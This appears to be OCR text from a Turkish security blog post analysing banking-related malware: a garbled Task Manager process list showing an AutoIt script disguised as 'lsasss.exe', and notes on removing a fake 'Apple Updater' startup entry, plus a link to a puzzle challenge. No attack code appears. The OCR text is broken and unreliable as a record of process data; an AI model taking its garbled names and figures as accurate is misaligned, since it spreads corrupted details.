Host Process for Windows 5...
Host Process for Windows 5...
Host Process for Windows 5...
Host Process for Windows S...
Host Process for Windows 5...
Host Process for Windows 5...
Host Process for Windows 5...
Host Process for Windows S...
Host Process for Windows S...
Host Process for Windows 5.
Autolt v3 Script ‘
NT Kernel & System
Percentage of ime the proc...

oo £omtareden. T

=
Image Name User Name CPU

LOCAL ... [ilv)
[EUser 00
[EUser 00
SYSTEM ilv]
SYSTEM ilv]
SYSTEM oo
SYSTEM oo
SYSTEM oo
[EUser 0o
[EUser 0o

STEM oo
ﬁ 9

STEM ilv)
MNETWO... ilv)
METWO... ilv)
[EUser 00
SYSTEM ilv)
SYSTEM ilv)
SYSTEM ilv)
SYSTEM [ilv]
SYSTEM ilv]
METWO... oo
LOCAL ... i)
SYSTEM 0o
LOCAL ... Juln)

audiodg.exe
omd. exe
conhost.exe
srss.exe
srss.exe
dilhost.exe
dsAccessServi...
dsAccessServi...
dwm.exe
explorer.exe
lsass.exe
lsasss.exe
lsm.exe
msdtc.exe
QSPPSVC.EXE
Pulse.exe
SearchIndexe...
services.exe
smss.exe
spoolsy.exe
svchost.exe
svchost.exe
swchost.exe
svchost.exe
svchost.exe

Memory (...
9.508 K
560K
872K
1,100 K
928K
2.580K
3.708K
238K
3.332K
22,096 K
2.816K
7.952K
127K
2.084K
4208 K
1768 K
9.2HK
3.556 K
200K
4.024K
2.312K
2.380K
7.268K
2972K
8.6MK

Description

Windows Audio Device Grap. ..
Windows Command Processor
Console Window Host

Client Server Runtime Process
Client Server Runtime Process
COM Surrogate

Juniper Access Service

Juniper Access Service
Desktop Window Manager
Windows Explorer

Local Security Authority Proc...
Autalt v3 Script %
Local Session Manager Service
Microsoft Distributed Transa. ..
Microsoft Office Software Pr...
Junos Pulse User Interface
Microsoft Windows Search I..
Services and Controller app
Windows Session Manager
Spoaler SubSystem App

Host Process for Windows ...
Host Process for Windows S...
Host Process for Windows 5...
Host Process for Windows 5...
Host Process for Windows S...

[PV S St v S SO

how processes from all users

Show processes from all users

CPU Usage: 100%

Processes: 45

Bir sonraki yazida gorusmek dilegiyle

Notlar:

Zararli yazilimi temizlemek ic¢in Start -> Run -> Msconfig yazdiktan sonra

Physical Memory: 50%

Processes: 44 CPU Usage: 100%

Physical Memory: 48%

herkese guvenli gunler dilerim.

Startup sekmesinde, Apple Updater satirini bulup, sildikten/devre disi

biraktiktan sonra sisteminizi yeniden baslatabilirsiniz.

20'ye yakin bankanin yetkilileri ile bu bilgiler, siz bu yaziyi okumadan

gunler oncesinde paylasilmistair.

3. Bu yazi, 6. Pi Hediyem Var oyununun ¢dzum yolunu da icermektedir.



https://www.mertsarica.com/pi-hediyem-var-6/

